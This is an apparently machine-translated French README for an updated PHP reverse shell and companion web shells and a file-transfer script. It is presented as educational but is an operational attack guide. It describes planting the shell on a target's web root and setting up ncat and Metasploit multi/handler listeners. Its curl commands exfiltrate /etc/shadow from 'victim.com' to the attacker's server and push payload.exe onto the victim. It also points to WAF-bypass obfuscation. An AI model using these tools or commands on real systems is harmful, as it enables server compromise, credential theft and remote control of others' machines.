Juste un petit actualisation sur le script de coquille inverse PHP populaire Pentestmonkey / Php-Reverse-Shell. Crédits à l'auteur original!
Fonctionne sur Linux OS et MacOS avec /bin/sh et Windows OS avec cmd.exe . Le script détectera automatiquement le système d'exploitation sous-jacent.
Fonctionne avec les deux, ncat et multi/handler .
Testé sur XAMPP pour Linux V7.3.19 (64 bits) avec PHP V7.3.19 sur Kali Linux V2020.2 (64 bits).
Testé sur XAMPP pour OS X V7.4.10 (64 bits) avec PHP V7.4.10 sur MacOS Catalina V10.15.6 (64 bits).
Testé sur XAMPP pour Windows V7.4.3 (64 bits) avec PHP V7.4.3 sur Windows 10 Enterprise OS (64 bits).
De plus, tout a été testé sur les images Docker Nouphet / Docker-PhP4 avec PHP V4.4.0 et STEZEE / PHP52-NGINX avec PHP V5.2.17.
Fait à des fins éducatives. J'espère que cela aidera!
Les tuyaux de processus sur Windows OS ne prennent pas en charge les opérations asynchrones afin que stream_set_blocking() , stream_select() et feof() ne fonctionneront pas correctement, mais j'ai trouvé une solution de contournement.
/src/reverse/php_reverse_shell.php nécessite PHP v5.0.0 ou plus.
/src/reverse/php_reverse_shell_older.php nécessite PHP v4.3.0 ou plus.
Modifiez l'adresse IP et le numéro de port dans les scripts si nécessaire.
Copier /src/reverse/php_reverse_shell.php dans le répertoire de racine Web de votre serveur (par exemple vers / opt / lAMPP / htdocs / on xAMPP) ou le télécharger sur le serveur Web de votre cible.
Accédez au fichier avec votre navigateur Web préféré.
Vérifiez le shell Web PHP simple en fonction de la demande de publication HTTP.
Vérifiez le shell Web PHP simple en fonction de la demande HTTP GET. Vous devez encoder URL de vos commandes.
Vérifiez le simple shell Web PHP V2 en fonction de la demande HTTP GET. Vous devez encoder URL de vos commandes.
En savoir plus sur les techniques d'obscurcissement PHP pour les anciennes versions de PHP à LCATRO / PHP-Webshell-Bypass-Waf. Crédits à l'auteur!
Vérifiez le script de téléchargement / téléchargement de fichiers PHP simple basé sur la demande de message HTTP pour le téléchargement de fichiers et la demande de téléchargement de fichiers HTTP.
Lors du téléchargement d'un fichier, vous devez encoder URL le chemin du fichier et n'oubliez pas de spécifier le fichier de sortie si vous utilisez Curl.
Lors du téléchargement d'un fichier, n'oubliez pas de spécifier @ avant le chemin du fichier.
Selon la configuration du serveur, le téléchargement d'un fichier via le paramètre HTTP Get Request peut ne pas toujours fonctionner, vous devrez plutôt hardcore le chemin du fichier dans le script.
Accédez au script sur le serveur Web de la victime avec votre navigateur Web préféré, ou utilisez Curl à partir de votre PC.
Téléchargez un fichier dans le répertoire de racine Web du serveur depuis votre PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Téléchargez un fichier depuis le serveur vers votre PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Si vous avez élevé vos privilèges initiaux dans votre shell inversé, ce script peut ne pas avoir les mêmes privilèges que le shell. Dans ce cas, pour télécharger un certain fichier, vous devrez peut-être copier le fichier dans le répertoire de racine Web et définir les autorisations de lecture nécessaires.
À partir de votre shell inverse PHP, exécutez les commandes Curl suivantes.
Téléchargez un fichier depuis le PC de la victime vers le répertoire de racine Web de votre serveur:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Téléchargez un fichier à partir du répertoire de racine Web de votre serveur sur le PC de la victime:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Pour configurer un écouteur, ouvrez votre console préférée sur Kali Linux et exécutez l'un des exemples ci-dessous.
Configurer l'auditeur ncat :
ncat -nvlp 9000
Configurer l'auditeur multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figure 1 - NCAT

Figure 2 - Dump de script